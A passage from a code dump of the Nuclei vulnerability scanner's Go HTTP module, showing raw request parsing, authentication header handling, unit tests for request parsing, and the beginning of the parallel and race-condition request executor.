nil\n\n}\n\nfunc stripLeadingAnnotations(request string) []byte {\n\treader := bufio.NewReader(strings.NewReader(request))\n\tbuffer := bufferPool.Get().(*bytes.Buffer)\n\tbuffer.Reset()\n\tdefer func() {\n\t\tbuffer.Reset()\n\t\tbufferPool.Put(buffer)\n\t}()\n\n\trequestLineFound := false\n\tfor {\n\t\tline, err := reader.ReadString('\\n')\n\t\tif len(line) > 0 {\n\t\t\tif requestLineFound || !stringsutil.HasPrefixAny(line, \"@\") {\n\t\t\t\trequestLineFound = true\n\t\t\t\t_, _ = buffer.WriteString(line)\n\t\t\t}\n\t\t}\n\n\t\tif err != nil {\n\t\t\tif err == io.EOF {\n\t\t\t\tbreak\n\t\t\t}\n\t\t\treturn []byte(request)\n\t\t}\n\t}\n\n\treturn append([]byte(nil), buffer.Bytes()...)\n}\n\n// TryFillCustomHeaders after the Host header\nfunc (r *Request) TryFillCustomHeaders(headers []string) error {\n\tunsafeBytes := bytes.ToLower(r.UnsafeRawBytes)\n\t// locate first host header\n\thostHeaderIndex := bytes.Index(unsafeBytes, []byte(\"host:\"))\n\tif hostHeaderIndex > 0 {\n\t\t// attempt to locate next newline\n\t\tnewLineIndex := bytes.Index(unsafeBytes[hostHeaderIndex:], []byte(\"\\r\\n\"))\n\t\tif newLineIndex > 0 {\n\t\t\tnewLineIndex += hostHeaderIndex + 2\n\t\t\t// insert custom headers\n\t\t\tbuf := bufferPool.Get().(*bytes.Buffer)\n\t\t\tbuf.Reset()\n\t\t\tbuf.Write(r.UnsafeRawBytes[:newLineIndex])\n\t\t\tfor _, header := range headers {\n\t\t\t\tbuf.WriteString(header)\n\t\t\t\tbuf.WriteString(\"\\r\\n\")\n\t\t\t}\n\t\t\tbuf.Write(r.UnsafeRawBytes[newLineIndex:])\n\t\t\tr.UnsafeRawBytes = append([]byte(nil), buf.Bytes()...)\n\t\t\tbuf.Reset()\n\t\t\tbufferPool.Put(buf)\n\t\t\treturn nil\n\t\t}\n\t\treturn errors.New(\"no new line found at the end of host header\")\n\t}\n\n\treturn errors.New(\"no host header found\")\n}\n\n// ApplyAuthStrategy applies the auth strategy to the request\nfunc (r *Request) ApplyAuthStrategy(strategy authx.AuthStrategy) {\n\tif strategy == nil {\n\t\treturn\n\t}\n\tswitch s := strategy.(type) {\n\tcase *authx.QueryAuthStrategy:\n\t\tparsed, err := urlutil.Parse(r.FullURL)\n\t\tif err != nil {\n\t\t\tgologger.Error().Msgf(\"auth strategy failed to parse url: %s got %v\", r.FullURL, err)\n\t\t\treturn\n\t\t}\n\t\tfor _, p := range s.Data.Params {\n\t\t\tparsed.Params.Add(p.Key, p.Value)\n\t\t}\n\tcase *authx.CookiesAuthStrategy:\n\t\tbuff := bufferPool.Get().(*bytes.Buffer)\n\t\tbuff.Reset()\n\t\tfor _, cookie := range s.Data.Cookies {\n\t\t\tfmt.Fprintf(buff, \"%s=%s; \", cookie.Key, cookie.Value)\n\t\t}\n\t\tif buff.Len() > 0 {\n\t\t\tif val, ok := r.Headers[\"Cookie\"]; ok {\n\t\t\t\tr.Headers[\"Cookie\"] = strings.TrimSuffix(strings.TrimSpace(val), \";\") + \"; \" + buff.String()\n\t\t\t} else {\n\t\t\t\tr.Headers[\"Cookie\"] = buff.String()\n\t\t\t}\n\t\t}\n\t\tbufferPool.Put(buff)\n\tcase *authx.HeadersAuthStrategy:\n\t\tfor _, header := range s.Data.Headers {\n\t\t\tr.Headers[header.Key] = header.Value\n\t\t}\n\tcase *authx.BearerTokenAuthStrategy:\n\t\tr.Headers[\"Authorization\"] = \"Bearer \" + s.Data.Token\n\tcase *authx.BasicAuthStrategy:\n\t\tr.Headers[\"Authorization\"] = \"Basic \" + base64.StdEncoding.EncodeToString([]byte(s.Data.Username+\":\"+s.Data.Password))\n\tdefault:\n\t\tgologger.Warning().Msgf(\"[raw-request] unknown auth strategy: %T\", s)\n\t}\n}\n"
  },
  {
    "path": "pkg/protocols/http/raw/raw_test.go",
    "content": "package raw\n\nimport (\n\t\"testing\"\n\n\turlutil \"github.com/projectdiscovery/utils/url\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestTryFillCustomHeaders_BufferDetached(t *testing.T) {\n\tr := &Request{\n\t\tUnsafeRawBytes: []byte(\"GET / HTTP/1.1\\r\\nHost: example.com\\r\\n\\r\\nBody\"),\n\t}\n\t// first fill\n\terr := r.TryFillCustomHeaders([]string{\"X-Test: 1\"})\n\trequire.NoError(t, err, \"unexpected error on first call\")\n\tprev := r.UnsafeRawBytes\n\tprevStr := string(prev) // content snapshot\n\terr = r.TryFillCustomHeaders([]string{\"X-Another: 2\"})\n\trequire.NoError(t, err, \"unexpected error on second call\")\n\trequire.Equal(t, prevStr, string(prev), \"first slice mutated after second call; buffer not detached\")\n\trequire.NotEqual(t, prevStr, string(r.UnsafeRawBytes), \"request bytes did not change after second call\")\n}\n\nfunc TestParseRawRequestWithPort(t *testing.T) {\n\trequest, err := Parse(`GET /gg/phpinfo.php HTTP/1.1\nHost: {{Hostname}}:123\nOrigin: {{BaseURL}}\nConnection: close\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\nAccept-Language: en-US,en;q=0.9`, parseURL(t, \"https://example.com:8080\"), false, false)\n\trequire.Nil(t, err, \"could not parse GET request\")\n\trequire.Equal(t, \"https://example.com:8080/gg/phpinfo.php\", request.FullURL, \"Could not parse request url correctly\")\n\trequire.Equal(t, \"/gg/phpinfo.php\", request.Path, \"Could not parse request path correctly\")\n\n\tt.Run(\"path-suffix\", func(t *testing.T) {\n\t\trequest, err := Parse(`GET /hello HTTP/1.1\nHost: {{Hostname}}`, parseURL(t, \"https://example.com:8080/test\"), false, false)\n\t\trequire.Nil(t, err, \"could not parse GET request\")\n\t\trequire.Equal(t, \"https://example.com:8080/test/hello\", request.FullURL, \"Could not parse request url correctly\")\n\t})\n\n\tt.Run(\"query-values\", func(t *testing.T) {\n\t\trequest, err := Parse(`GET ?username=test&password=test HTTP/1.1\nHost: {{Hostname}}:123`, parseURL(t, \"https://example.com:8080/test\"), false, false)\n\t\trequire.Nil(t, err, \"could not parse GET request\")\n\t\t// url.values are sorted to avoid randomness of using maps\n\t\trequire.Equal(t, \"https://example.com:8080/test?username=test&password=test\", request.FullURL, \"Could not parse request url correctly\")\n\n\t\trequest, err = Parse(`GET ?username=test&password=test HTTP/1.1\nHost: {{Hostname}}:123`, parseURL(t, \"https://example.com:8080/test/\"), false, false)\n\t\trequire.Nil(t, err, \"could not parse GET request\")\n\t\trequire.Equal(t, \"https://example.com:8080/test/?username=test&password=test\", request.FullURL, \"Could not parse request url correctly\")\n\n\t\trequest, err = Parse(`GET /?username=test&password=test HTTP/1.1\n\t\tHost: {{Hostname}}:123`, parseURL(t, \"https://example.com:8080/test/\"), false, false)\n\t\trequire.Nil(t, err, \"could not parse GET request\")\n\t\trequire.Equal(t, \"https://example.com:8080/test/?username=test&password=test\", request.FullURL, \"Could not parse request url correctly\")\n\t})\n}\n\nfunc TestParseRawRequest(t *testing.T) {\n\trequest, err := Parse(`GET /manager/html HTTP/1.1\nHost: {{Hostname}}\nAuthorization: Basic {{base64('username:password')}}\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0\nAccept-Language: en-US,en;q=0.9\nConnection: close`, parseURL(t, \"https://test.com\"), false, false)\n\trequire.Nil(t, err, \"could not parse GET request\")\n\trequire.Equal(t, \"GET\", request.Method, \"Could not parse GET method request correctly\")\n\trequire.Equal(t, \"/manager/html\", request.Path, \"Could not parse request path correctly\")\n\n\trequest, err = Parse(`POST /login HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\nConnection: close\n\nusername=admin&password=login`, parseURL(t, \"https://test.com\"), false, false)\n\trequire.Nil(t, err, \"could not parse POST request\")\n\trequire.Equal(t, \"POST\", request.Method, \"Could not parse POST method request correctly\")\n\trequire.Equal(t, \"username=admin&password=login\", request.Data, \"Could not parse request data correctly\")\n}\n\nfunc TestParseUnsafeRequestWithPath(t *testing.T) {\n\trequest, err := Parse(`GET /manager/html HTTP/1.1\nHost: {{Hostname}}\nAuthorization: Basic {{base64('username:password')}}\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0\nAccept-Language: en-US,en;q=0.9\nConnection: close`, parseURL(t, \"https://test.com/test/\"), true, false)\n\trequire.Nil(t, err, \"could not parse unsafe request\")\n\trequire.Contains(t, string(request.UnsafeRawBytes), \"GET /test/manager/html\", \"Could not parse unsafe method request path correctly\")\n\n\trequest, err = Parse(`GET ?a=b HTTP/1.1\n\tHost: {{Hostname}}\n\tOrigin: {{BaseURL}}`, parseURL(t, \"https://test.com/test.js\"), true, false)\n\trequire.Nil(t, err, \"could not parse unsafe request\")\n\trequire.Contains(t, string(request.UnsafeRawBytes), \"GET /test.js?a=b\", \"Could not parse unsafe method request path correctly\")\n}\n\nfunc TestParseUnsafeRequestStripsLeadingAnnotations(t *testing.T) {\n\trequest, err := Parse(`@Host: honey.scanme.sh\nGET /foo HTTP/1.1\nHost: {{Hostname}}\nConnection: close`, parseURL(t, \"http://scanme.sh\"), true, false)\n\trequire.Nil(t, err, \"could not parse unsafe request with annotation\")\n\trequire.Contains(t, string(request.UnsafeRawBytes), \"GET /foo HTTP/1.1\", \"unsafe request line should be preserved\")\n\trequire.NotContains(t, string(request.UnsafeRawBytes), \"@Host:\", \"annotation lines must not be present in unsafe raw bytes\")\n}\n\nfunc TestTryFillCustomHeaders(t *testing.T) {\n\ttestValue := \"GET /manager/html HTTP/1.1\\r\\nHost: Test\\r\\n\"\n\texpected := \"GET /test/manager/html HTTP/1.1\\r\\nHost: Test\\r\\ntest: test\\r\\n\"\n\trequest, err := Parse(testValue, parseURL(t, \"https://test.com/test/\"), true, false)\n\trequire.Nil(t, err, \"could not parse unsafe request\")\n\terr = request.TryFillCustomHeaders([]string{\"test: test\"})\n\trequire.Nil(t, err, \"could not add custom headers\")\n\trequire.Equal(t, expected, string(request.UnsafeRawBytes), \"actual value and expected value are different\")\n}\n\nfunc TestDisableMergePath(t *testing.T) {\n\trequest, err := Parse(` GET /api/v1/id=123 HTTP/1.1\n\tHost: {{Hostname}}`, parseURL(t, \"https://example.com/api/v1/user\"), false, true)\n\trequire.Nil(t, err, \"could not parse GET request with disable merge path\")\n\trequire.Equal(t, \"https://example.com/api/v1/id=123\", request.FullURL, \"Could not parse request url with disable merge path correctly\")\n\n\trequest, err = Parse(` GET /api/v1/id=123 HTTP/1.1\n\tHost: {{Hostname}}`, parseURL(t, \"https://example.com/api/v1/user\"), false, false)\n\trequire.Nil(t, err, \"could not parse GET request with merge path\")\n\trequire.Equal(t, \"https://example.com/api/v1/user/api/v1/id=123\", request.FullURL, \"Could not parse request url with merge path correctly\")\n\n}\n\nfunc TestUnsafeWithFullURL(t *testing.T) {\n\t// Test unsafe mode with full URL - should extract relative path\n\trequest, err := Parse(`GET http://127.0.0.1/foo HTTP/1.1\nHost: {{Hostname}}\nUser-Agent: Mozilla/5.0\nConnection: close`, parseURL(t, \"http://httpbin.org/bar\"), true, true)\n\trequire.Nil(t, err, \"could not parse unsafe request with full URL\")\n\trequire.Equal(t, \"/foo\", request.Path, \"Could not extract relative path from full URL in unsafe mode\")\n\trequire.Contains(t, string(request.UnsafeRawBytes), \"GET /foo HTTP/1.1\", \"UnsafeRawBytes should contain relative path, not full URL\")\n\trequire.NotContains(t, string(request.UnsafeRawBytes), \"http://127.0.0.1\", \"UnsafeRawBytes should not contain full URL\")\n}\n\nfunc TestUnsafeWithFullURLAndPath(t *testing.T) {\n\t// Test unsafe mode with full URL and target URL that has a path\n\trequest, err := Parse(`GET http://127.0.0.1/foo HTTP/1.1\nHost: {{Hostname}}\nUser-Agent: Mozilla/5.0\nConnection: close`, parseURL(t, \"http://httpbin.org/bar\"), true, false)\n\trequire.Nil(t, err, \"could not parse unsafe request with full URL and path merge\")\n\trequire.Equal(t, \"/bar/foo\", request.Path, \"Could not merge path correctly from full URL in unsafe mode\")\n\trequire.Contains(t, string(request.UnsafeRawBytes), \"GET /bar/foo HTTP/1.1\", \"UnsafeRawBytes should contain merged relative path\")\n\trequire.NotContains(t, string(request.UnsafeRawBytes), \"http://127.0.0.1\", \"UnsafeRawBytes should not contain full URL\")\n}\n\nfunc TestUnsafeWithFullURLAndQueryParams(t *testing.T) {\n\t// Test unsafe mode with full URL containing query parameters\n\trequest, err := Parse(`GET http://127.0.0.1/foo?id=123&name=test HTTP/1.1\nHost: {{Hostname}}\nUser-Agent: Mozilla/5.0\nConnection: close`, parseURL(t, \"http://httpbin.org/bar\"), true, true)\n\trequire.Nil(t, err, \"could not parse unsafe request with full URL and query params\")\n\trequire.Equal(t, \"/foo?id=123&name=test\", request.Path, \"Could not extract relative path with query params from full URL in unsafe mode\")\n\trequire.Contains(t, string(request.UnsafeRawBytes), \"GET /foo?id=123&name=test HTTP/1.1\", \"UnsafeRawBytes should contain relative path with query params\")\n\trequire.NotContains(t, string(request.UnsafeRawBytes), \"http://127.0.0.1\", \"UnsafeRawBytes should not contain full URL\")\n}\n\nfunc TestUnsafeWithHTTPSFullURL(t *testing.T) {\n\t// Test unsafe mode with HTTPS full URL\n\trequest, err := Parse(`GET https://secure.example.com/api/v1/users HTTP/1.1\nHost: {{Hostname}}\nAuthorization: Bearer token123\nConnection: close`, parseURL(t, \"https://target.com/test\"), true, true)\n\trequire.Nil(t, err, \"could not parse unsafe request with HTTPS full URL\")\n\trequire.Equal(t, \"/api/v1/users\", request.Path, \"Could not extract relative path from HTTPS full URL in unsafe mode\")\n\trequire.Contains(t, string(request.UnsafeRawBytes), \"GET /api/v1/users HTTP/1.1\", \"UnsafeRawBytes should contain relative path\")\n\trequire.NotContains(t, string(request.UnsafeRawBytes), \"https://secure.example.com\", \"UnsafeRawBytes should not contain full URL\")\n}\n\nfunc TestUnsafeWithFullURLRootPath(t *testing.T) {\n\t// Test unsafe mode with full URL pointing to root path\n\t// When disable-path-automerge is true and path is /, it becomes empty string (expected behavior)\n\trequest, err := Parse(`GET http://example.com/ HTTP/1.1\nHost: {{Hostname}}\nConnection: close`, parseURL(t, \"http://target.com/api\"), true, true)\n\trequire.Nil(t, err, \"could not parse unsafe request with full URL root path\")\n\t// With disable-path-automerge=true and root path, it becomes empty per existing logic\n\trequire.Equal(t, \"\", request.Path, \"Root path with disable-path-automerge should be empty\")\n\n\t// Test with disable-path-automerge=false\n\trequest, err = Parse(`GET http://example.com/ HTTP/1.1\nHost: {{Hostname}}\nConnection: close`, parseURL(t, \"http://target.com/api\"), true, false)\n\trequire.Nil(t, err, \"could not parse unsafe request with full URL root path and merge\")\n\trequire.Equal(t, \"/api\", request.Path, \"Should merge with target path when automerge enabled\")\n}\n\nfunc TestSafeWithFullURL(t *testing.T) {\n\t// Verify that safe mode still works correctly with full URLs (existing behavior)\n\trequest, err := Parse(`GET http://example.com/api/users HTTP/1.1\nHost: {{Hostname}}\nConnection: close`, parseURL(t, \"http://target.com/v1\"), false, true)\n\trequire.Nil(t, err, \"could not parse safe request with full URL\")\n\trequire.Equal(t, \"/api/users\", request.Path, \"Could not extract path from full URL in safe mode\")\n\trequire.Equal(t, \"http://target.com/api/users\", request.FullURL, \"Could not build correct FullURL in safe mode\")\n}\n\nfunc parseURL(t *testing.T, inputurl string) *urlutil.URL {\n\turlx, err := urlutil.Parse(inputurl)\n\tif err != nil {\n\t\tt.Fatalf(\"failed to parse url %v\", urlx)\n\t}\n\treturn urlx\n}\n"
  },
  {
    "path": "pkg/protocols/http/request.go",
    "content": "package http\n\nimport (\n\t\"bytes\"\n\t\"context\"\n\t\"encoding/hex\"\n\t\"fmt\"\n\t\"io\"\n\t\"maps\"\n\t\"net/http\"\n\t\"strconv\"\n\t\"strings\"\n\t\"sync\"\n\t\"sync/atomic\"\n\t\"time\"\n\n\t\"github.com/pkg/errors\"\n\t\"go.uber.org/multierr\"\n\t\"moul.io/http2curl\"\n\n\t\"github.com/projectdiscovery/fastdialer/fastdialer\"\n\t\"github.com/projectdiscovery/gologger\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/fuzz/analyzers\"\n\tfuzzStats \"github.com/projectdiscovery/nuclei/v3/pkg/fuzz/stats\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/operators\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/output\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/contextargs\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/expressions\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/generators\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/helpers/eventcreator\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/helpers/responsehighlighter\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/interactsh\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolstate\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/http/httpclientpool\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/http/httputils\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/http/signer\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/http/signerpool\"\n\ttemplateTypes \"github.com/projectdiscovery/nuclei/v3/pkg/templates/types\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/types\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/types/nucleierr\"\n\t\"github.com/projectdiscovery/rawhttp\"\n\tconvUtil \"github.com/projectdiscovery/utils/conversion\"\n\t\"github.com/projectdiscovery/utils/errkit\"\n\thttpUtils \"github.com/projectdiscovery/utils/http\"\n\t\"github.com/projectdiscovery/utils/reader\"\n\tsliceutil \"github.com/projectdiscovery/utils/slice\"\n\tstringsutil \"github.com/projectdiscovery/utils/strings\"\n\tunitutils \"github.com/projectdiscovery/utils/unit\"\n\turlutil \"github.com/projectdiscovery/utils/url\"\n)\n\nconst (\n\tdefaultMaxWorkers = 150\n\t// max unique errors to store & combine\n\t// when executing requests in parallel\n\tmaxErrorsWhenParallel = 3\n)\n\nvar (\n\tMaxBodyRead = 10 * unitutils.Mega\n\t// ErrMissingVars is error occurred when variables are missing\n\tErrMissingVars = errkit.New(\"stop execution due to unresolved variables\").SetKind(nucleierr.ErrTemplateLogic).Build()\n\t// ErrHttpEngineRequestDeadline is error occurred when request deadline set by http request engine is exceeded\n\tErrHttpEngineRequestDeadline = errkit.New(\"http request engine deadline exceeded\").SetKind(errkit.ErrKindDeadline).Build()\n)\n\n// Type returns the type of the protocol request\nfunc (request *Request) Type() templateTypes.ProtocolType {\n\treturn templateTypes.HTTPProtocol\n}\n\n// executeRaceRequest executes race condition request for a URL\nfunc (request *Request) executeRaceRequest(input *contextargs.Context, previous output.InternalEvent, callback protocols.OutputEventCallback) error {\n\treqURL := input.MetaInput.Input\n\tvar generatedRequests []*generatedRequest\n\n\t// Requests within race condition should be dumped once and the output prefilled to allow DSL language to work\n\t// This will introduce a delay and will populate in hacky way the field \"request\" of outputEvent\n\tgenerator := request.newGenerator(false)\n\n\tinputData, payloads, ok := generator.nextValue()\n\tif !ok {\n\t\treturn nil\n\t}\n\tctx := request.newContext(input)\n\trequestForDump, err := generator.Make(ctx, input, inputData, payloads, nil)\n\tif err != nil {\n\t\treturn err\n\t}\n\trequest.setCustomHeaders(requestForDump)\n\tdumpedRequest, err := dump(requestForDump, reqURL)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif request.options.Options.Debug || request.options.Options.DebugRequests || request.options.Options.StoreResponse {\n\t\tmsg := fmt.Sprintf(\"[%s] Dumped HTTP request for %s\\n\\n\", request.options.TemplateID, reqURL)\n\t\tif request.options.Options.Debug || request.options.Options.DebugRequests {\n\t\t\tgologger.Info().Msg(msg)\n\t\t\tgologger.Print().Msgf(\"%s\", string(dumpedRequest))\n\t\t}\n\t\tif request.options.Options.StoreResponse {\n\t\t\trequest.options.Output.WriteStoreDebugData(reqURL, request.options.TemplateID, request.Type().String(), fmt.Sprintf(\"%s\\n%s\", msg, dumpedRequest))\n\t\t}\n\t}\n\tprevious[\"request\"] = string(dumpedRequest)\n\n\t// Pre-Generate requests\n\tfor i := 0; i < request.RaceNumberRequests; i++ {\n\t\tgenerator := request.newGenerator(false)\n\t\tinputData, payloads, ok := generator.nextValue()\n\t\tif !ok {\n\t\t\tbreak\n\t\t}\n\t\tctx := request.newContext(input)\n\t\tgeneratedRequest, err := generator.Make(ctx, input, inputData, payloads, nil)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tgeneratedRequests = append(generatedRequests, generatedRequest)\n\t}\n\n\tshouldStop := (request.options.Options.StopAtFirstMatch || request.StopAtFirstMatch || request.options.StopAtFirstMatch)\n\n\tchildCtx, cancel := context.WithCancel(context.Background())\n\tdefer cancel()\n\n\tspmHandler := httputils.NewNonBlockingSPMHandler[error](childCtx, maxErrorsWhenParallel, shouldStop)\n\tdefer spmHandler.Cancel()\n\n\tgotMatches := &atomic.Bool{}\n\t// wrappedCallback is a callback that wraps the original callback\n\t// to implement stop at first match logic\n\twrappedCallback := func(event *output.InternalWrappedEvent) {\n\t\tif !event.HasOperatorResult() {\n\t\t\tcallback(event) // not required but we can allow it\n\t\t\treturn\n\t\t}\n\t\t// this will execute match condition such that if stop at first match is enabled\n\t\t// this will be only executed once\n\t\tspmHandler.MatchCallback(func() {\n\t\t\tgotMatches.Store(true)\n\t\t\tcallback(event)\n\t\t})\n\t\tif shouldStop {\n\t\t\t// stop all running requests and exit\n\t\t\tspmHandler.Trigger()\n\t\t}\n\t}\n\n\t// look for unresponsive hosts and cancel inflight requests as well\n\tspmHandler.SetOnResultCallback(func(err error) {\n\t\t// marks this host as unresponsive if applicable\n\t\trequest.markHostError(input, err)\n\t\tif request.isUnresponsiveAddress(input) {\n\t\t\t// stop all inflight requests\n\t\t\tspmHandler.Cancel()\n\t\t}\n\t})\n\n\tfor i := 0; i < request.RaceNumberRequests; i++ {\n\t\tif spmHandler.FoundFirstMatch() || request.isUnresponsiveAddress(input) {\n\t\t\t// stop sending more requests condition is met\n\t\t\tbreak\n\t\t}\n\t\tspmHandler.Acquire()\n\t\t// execute http request\n\t\tgo func(httpRequest *generatedRequest) {\n\t\t\tdefer spmHandler.Release()\n\t\t\tif spmHandler.FoundFirstMatch() || request.isUnresponsiveAddress(input) {\n\t\t\t\t// stop sending more requests condition is met\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tselect {\n\t\t\tcase <-spmHandler.Done():\n\t\t\t\treturn\n\t\t\tcase spmHandler.ResultChan <- request.executeRequest(input, httpRequest, previous, false, wrappedCallback, 0):\n\t\t\t\treturn\n\t\t\t}\n\t\t}(generatedRequests[i])\n\t\trequest.options.Progress.IncrementRequests()\n\t}\n\tspmHandler.Wait()\n\n\tif spmHandler.FoundFirstMatch() {\n\t\t// ignore any context cancellation and in-transit execution errors\n\t\treturn nil\n\t}\n\treturn multierr.Combine(spmHandler.CombinedResults()...)\n}\n\n// executeParallelHTTP executes parallel requests for a template\nfunc (request *Request) executeParallelHTTP(input *contextargs.Context, dynamicValues output.InternalEvent, callback protocols.OutputEventCallback) error {\n\t// Workers that keeps enqueuing new requests\n\tmaxWorkers := request.Threads\n\n\t// if request threads matches global payload concurrency we follow it\n\tshouldFollowGlobal := maxWorkers == request.options.Options.PayloadConcurrency\n\n\tif protocolstate.IsLowOnMemory() {\n\t\tmaxWorkers = protocolstate.GuardThreadsOrDefault(request.Threads)\n\t}\n\n\t// Stop-at-first-match logic while executing requests\n\t// parallelly using threads\n\tshouldStop := (request.options.Options.StopAtFirstMatch || request.StopAtFirstMatch || request.options.StopAtFirstMatch)\n\n\tctx, cancel := context.WithCancel(context.Background())\n\tdefer cancel()\n\n\tspmHandler := httputils.NewBlockingSPMHandler[error](ctx, maxWorkers, maxErrorsWhenParallel, shouldStop)\n\tdefer spmHandler.Cancel()\n\n\t// wrappedCallback is a callback that wraps the original callback\n\t// to implement stop at first match logic\n\twrappedCallback := func(event *output.InternalWrappedEvent) {\n\t\tif !event.HasOperatorResult() {\n\t\t\tcallback(event) // not required but we can allow it\n\t\t\treturn\n\t\t}\n\t\t// this will execute match condition such that if stop at first match is enabled\n\t\t// this will be only executed once\n\t\tspmHandler.MatchCallback(func() {\n\t\t\tcallback(event)\n\t\t})\n\t\tif shouldStop {\n\t\t\t// stop all running requests and exit\n\t\t\tspmHandler.Trigger()\n\t\t}\n\t}\n\n\t// look for unresponsive hosts and cancel inflight requests as well\n\tspmHandler.SetOnResultCallback(func(err error) {\n\t\t// marks this host as unresponsive if applicable\n\t\trequest.markHostError(input, err)\n\t\tif request.isUnresponsiveAddress(input) {\n\t\t\t// stop all inflight requests\n\t\t\tspmHandler.Cancel()\n\t\t}\n\t})\n\n\t// bounded worker-pool to avoid spawning one goroutine per payload\n\ttype task struct {\n\t\treq                *generatedRequest\n\t\tupdatedInput       *contextargs.Context\n\t\thasInteractMarkers bool\n\t}\n\n\tvar workersWg sync.WaitGroup\n\tcurrentWorkers := maxWorkers\n\ttasks := make(chan task, maxWorkers)\n\tspawnWorker := func(ctx context.Context) {\n\t\tworkersWg.Add(1)\n\t\tgo func() {\n\t\t\tdefer workersWg.Done()\n\t\t\tfor t := range tasks {\n\t\t\t\tselect {\n\t\t\t\tcase <-ctx.Done():\n\t\t\t\t\treturn\n\t\t\t\tdefault:\n\t\t\t\t}\n\t\t\t\tif spmHandler.FoundFirstMatch() || request.isUnresponsiveAddress(t.updatedInput) || spmHandler.Cancelled() {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\tspmHandler.Acquire()\n\t\t\t\tif spmHandler.FoundFirstMatch() || request.isUnresponsiveAddress(t.updatedInput) || spmHandler.Cancelled() {\n\t\t\t\t\tspmHandler.Release()\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\trequest.options.RateLimitTake()\n\t\t\t\thasInteractMatchers := interactsh.HasMatchers(request.CompiledOperators)\n\t\t\t\tneedsRequestEvent := hasInteractMatchers && request.NeedsRequestCondition()\n\t\t\t\tselect {\n\t\t\t\tcase <-spmHandler.Done():\n\t\t\t\t\tspmHandler.Release()\n\t\t\t\t\tcontinue\n\t\t\t\tcase spmHandler.ResultChan <- request.executeRequest(t.updatedInput, t.req, make(map[string]interface{}), hasInteractMatchers, func(event *output.InternalWrappedEvent) {\n\t\t\t\t\tif (t.hasInteractMarkers || needsRequestEvent) && request.options.Interactsh != nil {\n\t\t\t\t\t\trequestData := &interactsh.RequestData{\n\t\t\t\t\t\t\tMakeResultFunc: request.MakeResultEvent,\n\t\t\t\t\t\t\tEvent:          event,\n\t\t\t\t\t\t\tOperators:      request.CompiledOperators,\n\t\t\t\t\t\t\tMatchFunc:      request.Match,\n\t\t\t\t\t\t\tExtractFunc:    request.Extract,\n\t\t\t\t\t\t}\n\t\t\t\t\t\tallOASTUrls := httputils.GetInteractshURLSFromEvent(event.InternalEvent)\n\t\t\t\t\t\tallOASTUrls = append(allOASTUrls, t.req.interactshURLs...)\n\t\t\t\t\t\trequest.options.Interactsh.RequestEvent(sliceutil.Dedupe(allOASTUrls), requestData)\n\t\t\t\t\t}\n\t\t\t\t\twrappedCallback(event)\n\t\t\t\t}, 0):\n\t\t\t\t\tspmHandler.Release()\n\t\t\t\t}\n\t\t\t}\n\t\t}()\n\t}\n\tfor i := 0; i < currentWorkers; i++ {\n\t\tspawnWorker(ctx)\n\t}\n\n\t// iterate payloads and make requests\n\tgenerator := request.newGenerator(false)\n\tfor {\n\t\tinputData, payloads, ok := generator.nextValue()\n\t\tif !ok {\n\t\t\tbreak\n\t\t}\n\n\t\tselect {\n\t\tcase <-input.Context().Done():\n\t\t\tclose(tasks)\n\t\t\tworkersWg.Wait()\n\t\t\treturn input.Context().Err()\n\t\tdefault:\n\t\t}\n\n\t\t// resize check point - nop if there are no changes\n\t\tif shouldFollowGlobal && spmHandler.Size() != request.options.Options.PayloadConcurrency {\n\t\t\tif err := spmHandler.Resize(input.Context(), request.options.Options.PayloadConcurrency); err != nil {\n\t\t\t\tclose(tasks)\n\t\t\t\tworkersWg.Wait()\n\t\t\t\treturn err\n\t\t\t}\n\t\t\t// if payload concurrency increased, add more workers\n\t\t\tif spmHandler.Size() > currentWorkers {\n\t\t\t\tfor i := 0; i < spmHandler.Size()-currentWorkers; i++ {\n\t\t\t\t\tspawnWorker(ctx)\n\t\t\t\t}\n\t\t\t\tcurrentWorkers = spmHandler.Size()\n\t\t\t}\n\t\t}\n\n\t\t// break if stop at first match is found or host is unresponsive\n\t\tif spmHandler.FoundFirstMatch() || request.isUnresponsiveAddress(input) {\n\t\t\tbreak\n\t\t}\n\n\t\tctx := request.newContext(input)\n\t\tgeneratedHttpRequest, err := generator.Make(ctx, input, inputData, payloads, dynamicValues)\n\t\tif err != nil {\n\t\t\tif err == types.ErrNoMoreRequests {\n\t\t\t\tbreak\n\t\t\t}\n\t\t\trequest.options.Progress.IncrementFailedRequestsBy(int64(generator.Total()))\n\t\t\tclose(tasks)\n\t\t\tworkersWg.Wait()\n\t\t\treturn err\n\t\t}\n\t\thasInteractMarkers := interactsh.HasMarkers(inputData) || len(generatedHttpRequest.interactshURLs) > 0\n\t\tif input.MetaInput.Input == \"\" 